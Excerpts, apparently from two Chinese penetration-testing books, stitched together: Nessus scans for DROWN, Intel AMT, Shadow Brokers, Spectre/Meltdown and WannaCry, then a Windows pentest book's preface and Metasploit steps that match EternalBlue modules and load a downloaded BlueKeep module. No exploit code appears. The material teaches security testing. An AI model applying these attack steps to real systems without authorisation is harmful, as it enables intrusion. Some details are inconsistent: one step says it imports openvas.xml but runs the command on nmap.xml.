（4）图7.18所示对话框中提供了4种扫描类型，分别是Normal、Quick、Thorough和Custom。其中，这几种扫描类型不同的就是扫描的端口不同，用户可以根据自己的情况，选择对应的扫描类型。这里使用默认的扫描类型Normal，单击Save按钮保存该扫描任务，然后启动该扫描任务。扫描完成后，显示结果如图7.19所示。 图7.19 漏洞信息 （5）从图7.19所示界面可以看到，扫描的漏洞信息中都是级别为Info的信息，由此可以说明不存在DROWN漏洞。如果想要查看扫描的漏洞信息，则单击该主机，将显示如图7.20所示的界面。 图7.20 漏洞条目 （6）从图7.20所示界面可以看到，分别使用Nessus SYN scanner（端口扫描）和Nessus Scan Information（扫描基本信息）插件实施了扫描。此时，单击漏洞名称，即可查看对应的详细信息。例如，要查看目标主机开放的端口，则单击Nessus SYN scanner插件，将显示如图7.21所示的界面。 图7.21 漏洞详细信息 （7）从图7.21所示界面显示的信息中可以看到，目标主机开放的端口有111、21、22等。该目标主机中还开放有其他端口，但是由于无法截取到整个界面，所以只看到其中两个端口。"},
    {"text": "未知 7.5 Intel AMT固件密码绕过登录漏洞探测 Intel AMT固件密码绕过登录漏洞的CVE漏洞编号为CVE-2017-5689。Intel AMT固件可以配置英特尔可管理性框架（英特尔主动管理技术AMT和英特尔标准可管理性ISM）。换句话说，可以通过安装LMS软件包来管理硬件，提供Web访问接口。在Nessus中，提供了Intel AMT Security Bypass扫描模板，用来探测Intel AMT固件密码绕过登录漏洞。 【实例7-5】 探测Intel AMT固件密码绕过登录漏洞。具体操作步骤如下： （1）新建Intel AMT固件密码绕过登录漏洞扫描任务。在Nessus的扫描任务模板中单击Intel AMT Security Bypass模板，将显示如图7.22所示的界面。 （2）在该界面中设置扫描的名称和目标。选择Credentials选项卡，还可以设置证书认证。设置完成后，单击Save按钮保存配置，然后开始实施扫描。扫描完成后，将显示如图7.23所示的界面。 图7.22 配置扫描任务 图7.23 扫描结果 （3）从图7.23所示界面可以看到，主机中存在一个基本信息的漏洞。由此可以说明，目标主机中不存在Intel AMT固件密码绕过登录漏洞。此时，查看该漏洞的详细信息，将显示如图7.24所示的界面。 （4）从图7.24所示界面可以看到，这里只是使用Nessus对目标主机进行了一个基本的扫描。 图7.24 漏洞详细信息 未知 7.6 Shadow Brokers扫描 Shadow Brokers是一个黑客工具包。Shadow Brokers组织公布了此前窃取的部分方程式组织的机密文件，这部分被公开的文件曾经被Shadow Brokers组织以数亿美金拍卖，因为这部分文件包含了数个令人震撼的黑客工具，用来攻击包括Windows在内的多个系统漏洞。在Nessus中，提供了Shadow Brokers Scan扫描模板，可以用来扫描Shadow Brokers泄漏的漏洞。 【实例7-6】 实施Shadow Brokers扫描。具体操作步骤如下： （1）新建Shadow Brokers扫描任务。在扫描任务模板中单击Shadow Brokers模板，将显示如图7.25所示的界面。 （2）在该界面中设置扫描任务的名称和目标。这里，用户还可以配置Windows证书，以提高扫描效率。当然，也可以不配置。配置完成后，单击Save按钮保存配置，然后实施扫描。扫描完成后，将显示如图7.26所示的界面。 图7.25 配置扫描任务 图7.26 扫描完成 （3）从图7.26所示界面可以看到主机192.168.0.117中存在较严重的漏洞。这里单击该主机，查看其漏洞信息，如图7.27所示。 图7.27 漏洞信息 （4）从图7.27所示界面可以看到，扫描出了在Shadow Brokers中公开的漏洞。此时，用户可以单击任意漏洞，查看其详细信息，如图7.28所示。 图7.28 漏洞详细信息 （5）从图7.28所示界面的描述信息中可知，该漏洞探测出目标主机中缺少安全补丁，建议升级系统版本。 未知 7.7 Spectre and Meltdown漏洞探测 Spectre and Meltdown是英特尔和微软发现的一个安全漏洞的新变体，存在漏洞的芯片被广泛应用于计算机和移动设备上。Spectre and Meltdown安全漏洞还在影响着英特尔、ARM和AMD等芯片厂商，这些公司生产的计算机和移动设备芯片中大多存在此漏洞。该漏洞使得黑客能读取计算机CPU上的敏感信息，已经在过去的二十年内影响了数百万的芯片。尽管类似苹果、微软、英特尔这样的厂商都在发布该漏洞的补丁，但有些补丁并不管用，并且还导致计算机出现故障。在Nessus中，提供了Spectre and Meltdown扫描模板，可以用来探测目标主机中是否存在Spectre and Meltdown漏洞。 【实例7-7】 探测目标主机中是否存在Spectre and Meltdown漏洞。具体操作步骤如下： （1）新建Spectre and Meltdown漏洞探测扫描任务。在Nessus扫描任务模板中单击Spectre and Meltdown模板，将显示如图7.29所示的界面。 图7.29 配置扫描任务 （2）在图7.29所示界面中设置扫描的名称和目标。设置完成后，单击Save按钮保存设置，然后启动任务并开始对目标主机进行扫描。扫描完成后，将显示如图7.30所示的界面。 图7.30 扫描结果 （3）从图7.30所示界面可以看到，目标主机192.168.0.116和192.168.0.109中存在严重漏洞。例如查看192.168.0.116的漏洞信息，如图7.31所示。 图7.31 漏洞信息 （4）从图7.31所示界面可以看到，该主机的操作系统存在漏洞。这里查看第一个严重的漏洞，其详细信息如图7.32所示。 图7.32 漏洞详细信息 （5）从图7.32所示界面显示的信息中可以看到，目标主机的操作系统版本较低，建议升级到Ubuntu 17.10。"},
    {"text": "未知 7.8 WannaCry Ransomware病毒探测 WannaCry Ransomware是一种计算机蠕虫病毒，会感染Windows系统，目前已经有超过150多个国家和地区的30万台计算机受到攻击。这种感染是通过加密PC上的文件，然后弹出一个勒索赎金的界面，一般要求受害者支付300美元或者600美元的比特币，未付赎金的受害者的文件将在7天后被删除。在Nessus中，提供了WannaCry Ransomware扫描模板，可以用来探测目标主机是否被WannaCry Ransomware病毒感染。 【实例7-8】 探测目标主机是否被WannaCry Ransomware病毒感染。具体操作步骤如下： （1）创建WannaCry Ransomware病毒扫描任务。在Nessus扫描任务模板中单击WannaCry Ransomware模板，将显示如图7.33所示的界面。 （2）在该界面中设置扫描的名称、目标、证书及插件等信息。设置完成后，单击Save按钮保存配置，然后实施扫描。扫描完成后，显示如图7.34所示的界面。 （3）从该界面可以看到目标主机192.168.0.117中存在严重的漏洞。此时，查看该主机的漏洞，将显示如图7.35所示的界面。 图7.33 配置扫描任务 图7.34 扫描结果 图7.35 漏洞信息 （4）从图7.35所示界面可以看到，目标主机中存在MS17-010漏洞。此时，用户便可以查看漏洞的详细信息，如图7.36所示。 （5）从该界面显示的信息中，可知目标主机中存在的漏洞是SMB服务版本太低，渗透测试者可以利用该漏洞远程执行一些代码。从解决方法中，可以看到在Windows Vista、2008、7、2008 R2、2012、8.1、RT 8.1、2012 R2、10和2016中都提供了修复该漏洞的补丁。 图7.36 漏洞详细信息 在kindle搜索B089Y82SSX可直接购买阅读 未知 第8章 自定义扫描任务模板 在前面的章节中介绍了使用Nessus默认提供的模板实施扫描的方法。但是在某些情况下，用户可能想要根据自己的环境，自定义新的策略和扫描任务。所以为了帮助用户更好地使用Nessus工具，本章将介绍自定义策略和扫描任务模板的使用方法。 未知 8.1 新建策略 策略是扫描之前最主要的步骤。简单地说，策略就是让Nessus工具使用最佳化的配置，以便于对目标主机进行扫描。所以，在实施扫描之前，创建策略也是非常重要的。Nessus工具默认提供了对应扫描任务的策略。如果用户希望重新定制，也可以创建新的策略。本节将介绍新建策略的方法。 【实例8-1】 新建策略。具体操作步骤如下： （1）登录Nessus服务。登录成功后，将显示如图8.1所示的界面。 图8.1 Nessus初始界面 （2）图8.1所示界面是Nessus的初始界面。在左侧栏中选择Policies选项，将显示如图8.2所示的界面。 图8.2 新建策略 （3）从图8.2所示界面中可以看到，目前没有任何策略。单击右上角的New Policy按钮，即可创建新的策略，此时将显示如图8.3所示的界面。如果希望从其他地方获得一个策略，也可以单击右上角的Import按钮将其直接上传到Nessus服务器。 图8.3 策略类型 （4）从策略类型界面中可以看到默认提供的所有策略模板。这些模板分为三类，分别是发现（DISCOVERY）、漏洞（VULNERABILITIES）和合规性（COMPLIANCE），共计22个，并且每个模板都有简单介绍。策略模板右上角如果标记有UPGRADE字条，表示家庭版的Nessus工具不可以使用。这里选择Advanced Scan模板，创建新的策略，此时将显示如图8.4所示的界面。 图8.4 设置策略名称及描述信息 （5）在图8.4所示界面设置策略的名称及描述信息。其中，策略名称可以任意定义，描述信息也可以不填。例如，这里创建一个名称为Scan的策略，设置完成后单击Save按钮保存，将显示如图8.5所示的界面。 图8.5 新建的Scan策略 （6）从图8.5所示界面可以看到，Scan策略被成功创建。接下来，如果用户要对目标实施扫描，则可选择使用该策略。此时，在扫描模板界面的User Defined选项卡下可以看到新建的策略，如图8.6所示。 图8.6 扫描任务库 未知 8.2 新建及配置扫描任务 扫描任务就是设置对目标进行扫描的规则。如果用户想要对目标进行扫描，则必须先创建一个扫描任务。本节将介绍新建和配置扫描任务的方法。"},
    {"text": "未知 8.2.1 新建扫描任务 下面将介绍新建扫描任务的方法。 【实例8-2】 新建扫描任务。具体操作步骤如下： （1）登录Nessus服务。登录成功后，将显示如图8.7所示的界面。 图8.7 Nessus初始界面 （2）从图8.7所示界面可以看到，目前还没有创建任何扫描任务。此时单击右上角的New Scan按钮，将显示如图8.8所示的界面。 图8.8 扫描任务模板界面 （3）图8.8所示界面显示了Nessus默认提供的扫描模板及用户创建的策略。用户可以选择任何一个模板来创建扫描任务。这里自定义一个扫描任务，所以单击Advanced Scan模板，将显示如图8.9所示的界面。 图8.9 扫描配置 （4）在图8.9所示界面中设置扫描任务的名称（Name）、描述信息（Description）、文件夹（Folder）及目标（Targets）等。其中，扫描任务的名称可以任意设置；描述信息可以不填写；文件夹是用来保存扫描任务的，Nessus默认提供了一个文件夹My Scans，用户也可以手动创建多个；目标可以指定单个IP地址、一个网段的地址或地址范围。最后一个配置项Upload Targets用来手动指定一个扫描目标列表文件，即用户可以将扫描主机的IP地址保存到一个文件中，然后单击Add File选项将其上传到Nessus服务。以上配置设置完成后，单击Save按钮保存新建的扫描任务，如图8.10所示。 图8.10 新建的扫描任务 （5）从图8.10所示界面可以看到新建的扫描任务。此时，单击按钮将开始对指定的目标进行扫描。如果用户想要暂停或停止扫描，单击或按钮。扫描完成后，显示结果如图8.11所示。 图8.11 扫描完成 （6）从图8.11所示界面可以看到扫描完成。接下来，用户就可以分析扫描结果了。 未知 8.2.2 配置扫描任务 对于新建的扫描任务，也有多个配置项可以设置。用户可以根据自己的需求配置每个选项，可以在新建扫描任务时直接进行配置，也可以创建完扫描任务之后进行设置。下面将介绍配置扫描任务的方法。 【实例8-3】 配置8.2.1节创建的Vulnerability Scanning扫描任务。具体操作步骤如下： （1）在图8.11中单击要配置的扫描任务。这里单击名为Vulnerability Scanning的扫描任务，将显示如图8.12所示的界面。 图8.12 扫描结果 （2）图8.12所示界面显示了扫描结果。关于扫描结果的分析，将在后面章节进行介绍。这里单击Configure按钮，即可重新配置扫描任务，此时将显示如图8.13所示的界面。 图8.13 配置扫描任务 （3）图8.13所示界面是扫描任务的基本设置界面。这些设置选项8.2.1节已经介绍，所以这里不再赘述。用户还可以对该扫描任务的Schedule（时刻表）和Notification（通知）进行设置。同样地，扫描任务也可以进行DISCOVERY（发现设置）、ASSESSMENT（评估设置）、REPORT（报告设置）、ADVANCED（高级设置）、Credentials（证书）和Plugins（插件）设置。下面将介绍一下Schedule和Notifications选项的设置。其中，Schedule选项的设置界面如图8.14所示。 图8.14 Schedule配置 提示： 从Nessus 8.4.0版本开始，Schedule（时刻表）配置项存在Bug，无法进行配置。 该界面是用来设置是否启用Schedule功能，默认是禁用的。如果用户希望启用该功能，则单击开关按钮 。启用后，显示界面如图8.15所示。 图8.15 设置Schedule 从图8.15所示界面可以看到启用Schedule后，可以对4个配置项进行设置。下面将对每个配置项的含义进行介绍。 ·Frequency：该选项用来设置启动Schedule的时间。默认是Once，表示一次。用户还可以选择设置Daily（每天）、Weekly（每周）、Monthly（每月）或Yearly（每年）。 ·Starts：该选项表示Schedule功能的开启时间。 ·Timezone：该选项是用来设置时区的。 ·Summary：显示了以上配置的摘要信息。 以上功能配置完后，单击Save按钮保存。 Notifications选项的配置界面如图8.16所示。 图8.16 Notifications配置 该界面用来设置是否启用邮件通知。如果要配置该选项，则需要配置SMTP服务，否则将不会向邮件接收者发送通知。 未知 信息安全技术大讲堂 从实践中学习Nessus与OpenVAS漏洞扫描 大学霸IT达人 编著 ISBN：978-7-111-65697-5 本书纸版由机械工业出版社于2020年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook） Cover"},
    {"text": "未知 前言 Windows是常用的计算机操作系统之一，是人们在生活、办公、学习中首选的计算机操作系统，广泛应用于企业、政府和学校等机构。由于系统更新不及时、用户安全意识淡薄、系统安全机制不严谨等，Windows系统成为网络攻击的首选目标。每年Windows系统出现的大规模网络安全事件层出不穷。 渗透测试是一种通过模拟黑客攻击的方式来检查和评估网络安全的方法。由于它贴近实际，所以被安全机构广泛采用。本书从渗透测试的角度，分析了黑客攻击Windows系统的流程，展现了Windows主机存在的各种常见漏洞，以及这些漏洞可能造成的各种损失。 本书首先介绍渗透测试需要准备的知识，如Windows版本类型、靶机环境准备、信息分析环境；然后详细讲解Windows网络入侵流程，如发现主机、网络嗅探与欺骗、密码攻击、漏洞扫描、漏洞利用、后渗透利用、Windows重要服务；最后简要讲解物理入侵的方式，如准备硬件设备、绕过验证和提取信息等。 本书有何特色 1.内容实用，可操作性强 在实际应用中，渗透测试是一项操作性极强的技术。本书秉承这个特点，对内容进行了合理安排。从第1章开始就详细讲解了扫描环境的搭建和靶机建立，在后续章节中对每个技术要点都配以操作实例来带领读者动手练习。 2.详细剖析Windows渗透测试体系 针对Windows操作系统，渗透测试分为网络入侵和物理入侵。其中，网络入侵分为侦查分析和漏洞攻击两个环节。侦查分析环节分为网络发现、嗅探欺骗和数据分析三大步骤。漏洞攻击环节分为漏洞扫描、漏洞利用和后渗透利用三大步骤。本书详细讲解了每个步骤，帮助读者建立正确的操作顺序，从而避免盲目操作。 3.由浅入深，容易上手 本书充分考虑了初学者的学习特点，从概念讲起，帮助初学者明确Windows渗透测试的目标和操作思路。同时，本书详细讲解了如何准备实验环境，比如需要用到的软件环境以及靶机和网络环境。这些内容可以让读者更快上手，并理解Windows渗透测试的技巧。 4.环环相扣，逐步讲解 渗透测试是一个理论、应用和实践三者紧密结合的技术。任何一个有效的渗透策略都由对应的理论衍生应用，并结合实际情况而产生。本书力求对每个重要知识点都按照这个思路进行讲解，以帮助读者在学习中举一反三。 5.提供完善的技术支持和售后服务 本书提供了对应的QQ群（343867787）和论坛（bbs.daxueba.net）供读者交流和讨论学习中遇到的各种问题。同时，本书还提供了专门的售后服务邮箱 hzbook2017@163.com 。读者在阅读本书的过程中若有疑问，可以通过该邮箱获得帮助。 本书内容 第1章主要介绍了Windows体系结构和渗透环境的准备，如Windows系统分类、历史版本、防火墙、搭建靶机、准备网络环境和信息分析环境等。 第2～4章主要介绍了如何通过网络对Windows主机进行侦查和分析，涵盖的内容有扫描网络、探测端口、识别系统和服务、网络嗅探与欺骗、破解密码等。 第5～7章主要介绍了如何发现Windows的漏洞并进行处理，涵盖的主要内容有使用Nmap、Nessus和OpenVAS扫描漏洞，使用Metasploit实施漏洞利用，规避防火墙，获取目标主机信息等。 第8章主要介绍了Windows重要服务的常见漏洞，涉及的服务包括文件共享服务、文件传输服务、SQL Server服务、IIS服务和远程桌面服务等。 第9章主要介绍了物理入侵的实施方式，如准备特定硬件、绕过各种验证、提取主机信息和分析镜像数据等。 本书配套资源获取方式 本书涉及的工具和软件需要读者自行下载。下载途径有以下几种： ·根据书中对应章节给出的网址自行下载； ·加入本书QQ交流群获取； ·访问论坛 bbs.daxueba.net 获取； ·登录华章网站 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在页面上找到配书资源下载链接。 本书内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件更新的步伐，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入本书QQ交流群获取，也可以通过华章网站上的本书配套资源链接下载。 本书读者对象 ·渗透测试技术人员； ·网络安全和维护人员； ·信息安全技术爱好者； ·计算机安全自学者； ·高校相关专业的学生； ·专业培训机构的学员。 本书阅读建议 ·由于网络稳定性的原因，下载镜像后建议读者一定要校验镜像，以避免因文件损坏而导致系统安装失败。 ·学习阶段建议多使用靶机进行练习，以避免因错误操作而影响实际的网络环境。 ·由于安全工具经常会更新或增补不同的功能，所以学习的时候建议定期更新工具，以获取更稳定和更强大的环境。 本书作者 本书由大学霸IT达人团队编写。感谢在本书编写和出版过程中给予团队大量帮助的各位编辑！由于作者水平所限，加之写作时间有限，书中可能还存在一些疏漏和不足之处，敬请各位读者批评指正。 未知 第1章 渗透测试概述 渗透测试是通过模拟恶意黑客的攻击方式，对计算机网络及系统安全进行的评估。这个过程会对系统的任何弱点、技术缺陷或漏洞进行主动分析。分析时，渗透测试人员会从一个攻击者可能存在的位置进行实施，并且有条件地主动利用安全漏洞。本章将介绍Windows渗透测试的一些基础知识。"},
    {"text": "未知 1.5 构建网络环境 当用户搭建好靶机后，需要对靶机的网络进行配置，以设置其与攻击主机处于同一个网络。在VMware中，通常使用NAT模式和桥接模式来访问互联网。另外，用户还可以外接USB有线网卡来构建多层网络。下面将介绍各种网络模式的概念及配置方法。 未知 5.4 漏洞信息查询 如果用户使用前面的方法没有扫描出有效漏洞的话，也可以到一些漏洞网站查询最新的漏洞信息。对于Windows系统平台，比较有名的漏洞网站有微软漏洞官网和MITRE网站。当用户确定目标主机的操作系统或软件版本后，即可查询其漏洞信息。本节将介绍漏洞信息查询的方法。 未知 5.4.1 MITRE网站 当用户扫描出目标主机中的漏洞后，也可以通过漏洞编号到CVE漏洞网站查看具体的信息。其中，CVE漏洞网站搜索地址为 http://cve.mitre.org/cve/search_cve_list.html 。当用户在浏览器中成功访问该地址后，将显示如图5.84所示的界面。 图5.84 搜索CVE列表 此时，用户在搜索文本框中输入查询的漏洞，即可获取其详细信息。例如，这里搜索MS03-026漏洞的CVE ID，在搜索文本框中输入MS03-026，并单击Submit按钮，将显示如图5.85所示的界面。 图5.85 搜索结果 从该界面中可以看到搜索到漏洞的匹配结果。其中，该漏洞的CVE ID为CVE-2003-0352。 未知 5.4.2 微软漏洞官网 微软漏洞官网地址为 https://portal.msrc.microsoft.com/en-us/security-guidance 。当用户在浏览器中成功访问该网址后，将显示如图5.86所示的界面。 在该网页中，用户可以根据日期范围、产品类型、漏洞级别及受影响来搜索漏洞。用户也可以直接使用CVE ID号搜索相关信息。例如，这里指定搜索Windows 10操作系统中最严重的漏洞，结果如图5.87所示。 图5.86 微软漏洞官网 图5.87 搜索结果 从该界面中可以看到搜索的结果。在搜索结果中共包括6列，分别是Date（日期）、Product（产品）、Platform（平台）、Article（文章）、Download（下载）和Details（详细信息）。从Details列中可以看到对应漏洞的CVE ID。在Download列可以选择下载对应漏洞的补丁。 未知 第6章 漏洞利用 漏洞利用是利用程序中的某些漏洞来得到计算机的控制权。通过漏洞扫描，可以从目标系统中找到容易攻击的漏洞。然后利用该漏洞获取权限，从而实现对目标系统的控制。Kali Linux提供了大量的漏洞利用工具，其中最知名的是Metasploit渗透测试框架。本章将介绍如何使用Metasploit渗透测试工具来实施漏洞利用。 未知 6.1 准备工作 用户在使用Metasploit框架实施渗透测试时，需要做一些简单的准备工作，如创建工作区、导入漏洞报告和查找攻击模块等。本节将介绍在实施攻击之前需要做的一些准备工作。 未知 6.1.1 创建工作区 在Metasploit中，用户可以通过创建工作区来区分不同的扫描任务。其中，每个工作区里都保存着相关任务的各种信息。不同工作区之间的信息相互独立，避免数据混淆。为了区分每个扫描任务，用户可以创建多个工作区。下面将介绍使用workspace命令创建工作区的方法。 workspace创建工作区的语法格式如下： workspace -a [name] 以上语法中，-a选项表示添加工作区。 【实例6-1】 创建一个名为test的工作区。具体操作步骤如下： （1）启动MSF控制终端。执行命令如下： 以上输出信息显示了Metasploit框架的版本及各种模块的个数。例如，exploits（漏洞利用）类模块共1914个、auxiliary（辅助）类模块共1074个；payloads（攻击载荷）类模块共556个。看到命令行提示符显示为msf5>，则表示成功登录到MSF控制终端。此时，执行workstapce命令即可查看当前所在的工作区。执行命令如下： msf5 > workspace * default 从输出的信息中可以看到，默认只有一个default工作区，而且当前正在使用该工作区。 （2）创建新的工作区。执行命令如下： msf5 > workspace -a test [*] Added workspace: test [*] Workspace: test 从输出的信息中可以看到，成功添加了工作区test，而且已自动切换到新建的工作区。 （3）查看当前的工作区。执行命令如下： msf5 > workspace default * test 从输出的信息中可以看到，目前有两个工作区。其中，test是刚创建的并且目前正在使用。如果用户想要切换工作区的话，可以使用workspace [name]命令进行切换。 （4）切换到工作区default。执行命令如下： msf5 > workspace default [*] Workspace: default 看到以上输出信息，则表示成功切换到default工作区。"},
    {"text": "未知 6.1.2 导入报告 Metasploit框架提供了一个db_import命令，可以导入一些第三方漏洞扫描报告。 用户将扫描报告导入Metasploit框架中，即可快速分析目标主机中存在的漏洞和开放的服务等。"},
    {"text": "执行命令如下： msf5 > db_import Usage: db_import <filename> [file2...] Filenames can be globs like *.xml, or **/*.xml which will search recursively Currently supported file types include: #支持的文件类型 Acunetix Amap Log Amap Log -m Appscan Burp Session XML Burp Issue XML CI Foundstone FusionVM XML Group Policy Preferences Credentials IP Address List IP360 ASPL IP360 XML v3 Libpcap Packet Capture Masscan XML Metasploit PWDump Export Metasploit XML Metasploit Zip Export Microsoft Baseline Security Analyzer NeXpose Simple XML NeXpose XML Report Nessus NBE Report Nessus XML (v1) Nessus XML (v2) NetSparker XML Nikto XML Nmap XML OpenVAS Report OpenVAS XML Outpost24 XML Qualys Asset XML Qualys Scan XML Retina XML Spiceworks CSV Export Wapiti XML 从输出的信息中可以看到，支持导入的所有报告文件类型有很多，如Nikto XML、Nmap XML、OpenVAS Report和OpenVAS XML等。"},
    {"text": "（2）导入扫描报告文件openvas.xml。 执行命令如下： msf5 > db_import nmap.xml [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Nokogiri v1.10.3' [*] Successfully imported /root/openvas.xml 看到以上输出信息，则表示成功导入了报告文件openvas.xml。"},
    {"text": "执行命令如下： msf5 > workspace -v Workspaces ========== current name hosts services vulns creds loots notes ------- ---- ----- -------- ----- ----- ----- ----- test 0 0 0 0 0 0 * default 3 3 6 0 0 1 以上输出信息共包括8列，分别为current（当前的工作区）、name（工作区名称）、hosts（主机数）、services（服务数）、vulns（漏洞数）、creds（凭证数）、loots（战利品数）和notes（备注信息数）。"},
    {"text": "执行命令如下： msf5 > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 192.168. 00:0c:29: WIN-TJUI Windows server 1.6 23:3a:1b K7N16BP 2008 192.168. 00:0c:29: Unknown device 1.9 7b:c9:0f 192.168. 00:0c:29: Unknown device 1.10 4b:c9:94 从输出的信息中可以看到当前工作区的所有主机信息，包括主机的IP地址、MAC地址、主机名和操作系统名等。"},
    {"text": "执行命令如下： msf5 > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 192.168.1.6 445 tcp open 192.168.1.9 135 tcp open 192.168.1.9 445 tcp open 从输出的信息中可以看到每个主机中开放的端口。 例如，主机192.168.1.9中开放的端口为135和445。"},
    {"text": "执行命令如下： msf5 > vulns Vulnerabilities =============== Timestamp Host Name References --------- ---- ---- ---------- 2019-08-20 09:36:53 UTC 192.168.1.10 MS08-067 Microsoft Server Service Relative Path Stack Corruption CVE-2008-4250,OSVDB-49243,MSB-MS08-067, URL-http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos 2019-08-20 11:27:55 UTC 192.168.1.9 Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Remote CVE-2008-4114,CVE-2008-4834, CVE-2008-4835,BID-31179 2019-08-20 11:27:55 UTC 192.168.1.9 Microsoft Windows Server Service Remote Code Execution Vulnerability (921883) CVE-2006-3439, BID-19409 2019-08-20 11:27:55 UTC 192.168.1.9 Microsoft Windows SMB Server NTLM Multiple Vulnerabilities (971468) CVE-2010-0020,CVE-2010-0021, CVE-2010-0022,CVE-2010-0231 2019-08-20 11:27:55 UTC 192.168.1.9 Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) CVE-2017-0143,CVE-2017-0144, CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148,BID-96703,BID-96704,BID-96705,BID-96707,BID-96709,BID-96706,MSB-MS17-010,URL-https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html,URL-https://github.com/countercept/doublepulsar-detection-script,URL-https://technet.microsoft.com/en-us/library/security/ms17-010.aspx 2019-08-22 06:57:06 UTC 192.168.1.6 MS17-010 SMB RCE Detection CVE- 2017-0143,CVE-2017-0144,CVE-2017-0145,CVE-2017-0146,CVE-2017-0147,CVE-2017-0148,MSB-MS17-010,URL-https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html,URL-https://github.com/countercept/doublepulsar-detection-script,URL-https://technet.microsoft.com/en-us/library/security/ms17-010.aspx,URL-https://github.com/RiskSense-Ops/MS17-010 输出的信息共包括4列，分别为Timestamp（时间戳）、Host（主机地址）、Name（漏洞名称）和References（参考资源）。"},
    {"text": "未知 6.1.3 匹配模块 通过分析导入的报告，可以查看到报告中对应的漏洞信息。Metasploit根据报告中的漏洞信息可以分析出匹配的攻击模块。其中，用于查找匹配模块的命令及语法格式如下： analyze [addr1 addr2 …] 以上语法中，参数addr1和addr2指定分析的主机IP地址。如果用户不指定主机地址的话，将分析当前工作区中所有主机可利用的漏洞模块。 【实例6-3】 分析主机192.168.1.6中可利用的漏洞模块。执行命令如下： msf5 > analyze 192.168.1.6 [*] Analyzing 192.168.1.6... [*] exploit/windows/smb/ms17_010_eternalblue [*] exploit/windows/smb/ms17_010_eternalblue_win8 [*] exploit/windows/smb/ms17_010_psexec 从输出的信息中可以看到，目标主机中有3个可利用的漏洞模块。其中，模块名分别为exploit/windows/smb/ms17_010_eternalblue、exploit/windows/smb/ms17_010_eternalblue_win8和exploit/windows/smb/ms17_010_psexec。 【实例6-4】 下面分析所有主机可利用的漏洞模块。执行命令如下： msf5 > analyze [*] Analyzing 192.168.1.6... [*] exploit/windows/smb/ms17_010_eternalblue [*] exploit/windows/smb/ms17_010_eternalblue_win8 [*] exploit/windows/smb/ms17_010_psexec [*] Analyzing 192.168.1.9... [*] exploit/windows/smb/ms06_040_netapi [*] exploit/windows/smb/ms17_010_eternalblue [*] exploit/windows/smb/ms17_010_eternalblue_win8 [*] exploit/windows/smb/ms17_010_psexec [*] Analyzing 192.168.1.10... [*] No suggestions for 192.168.1.10. 从输出的信息可以看到，查找了3台主机的模块。其中，成功找出了主机192.168.1.6和192.168.1.9可利用的模块；主机192.168.1.10没有找到匹配的模块。"},
    {"text": "未知 6.1.4 加载第三方模块 如果用户在Metasploit框架中没有找到匹配的模块，则可以到exploit-db网站查找模块。然后将找到的模块下载下来并加载到Metasploit框架中，即可利用该模块实施攻击。下面将介绍加载第三方模块的方法。 1.查找模块 exploitDB漏洞网站的地址为 https://www.exploit-db.com/ 。在浏览器中成功访问该网站后，将显示如图6.1所示的界面。 在其中输入攻击载荷的一些关键字，即可搜索到对应的渗透测试模块。在搜索时，用户还可以勾选Verified和Has App复选框，过滤已验证过和容易攻击的应用程序渗透测试模块。例如，搜索bluekeep漏洞匹配的模块，输入关键字bluekeep进行搜索，搜索成功后将显示如图6.2所示的界面。 图6.1 漏洞网站 图6.2 搜索结果 从图6.2中可以看到搜索到的所有结果。在输出的信息中包括8列，分别表示Date（发布日期）、D（下载渗透攻击载荷）、A（可利用的应用程序）、V（已被验证）、Title（漏洞标题）、Type（类型）、Platform（平台）和Author（作者）。用户可以选择下载及查看漏洞的详细信息。如果想要下载该渗透测试模块，则单击D列的下载按钮 即可。如果想要想要查看该漏洞的详细信息，单击其漏洞标题名即可。例如，查看图中显示的第一个漏洞详细信息，结果如图6.3所示。 图6.3 漏洞详细信息 从描述信息中可以看到该漏洞的详细信息，如CVE ID、作者、类型和支持的平台等。 2.加载第三方模块 当用户从exploitDB网站搜索并下载到可利用的第三方模块后，即可加载到Metasploit框架，然后可以利用该模块对目标实施攻击。下面将介绍加载第三方模块的方法。 【实例6-5】 导入从exploitDB网站下载的第三方模块，并使用该模块实施渗透测试。这里将以bluekeep漏洞模块为例，并设置文件名为rdp_dos.rb。具体操作步骤如下： （1）将模块文件rdp_dos.rb复制到Metasploit对应的模块位置。其中，Metasploit模块的默认位置为/root/.msf4/modules。为了方便区分模块，用户可以按照模块的分类创建对应的文件夹，用来保存不同类型的模块。本例中将导入一个渗透攻击模块，所以这里将创建名为exploits的文件夹。执行命令如下： root@daxueba:~# mkdir /root/.msf4/modules/exploits 执行以上命令后，将不会有任何信息输出。这里为了方便记忆或方便查找模块的位置，再创建一个windows/rdp目录，并将攻击载荷文件复制进去。执行命令如下： root@daxueba:~# cd /root/.msf4/modules/exploits/ root@daxueba:~/.msf4/modules/exploits# mkdir windows/rdp root@daxueba:~/.msf4/modules/exploits# cd windows/rdp root@daxueba:~/.msf4/modules/exploits/windows/rdp# ls rdp_dos.rb rdp 从输出的信息中可以看到，渗透攻击模块文件rdp_dos.rb已成功复制到新建的位置。 （2）重新启动Metasploit工具，即可看到加载的渗透测试攻击模块。执行命令如下： 从以上显示的信息中可以看到，exploits类模块由原来的1914变为了1915。由此可以说明模块已成功导入。 （3）加载rdp_dos模块并查看模块的选项。执行命令如下： msf5 > use exploit/windows/rdp/rdp_dos msf5 auxiliary(windows/rdp/rdp_dos) > show options Module options (auxiliary/windows/rdp/rdp_dos): Name Current Setting Required Description ---- --------------- -------- ----------- RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connection RDP_CLIENT_NAME 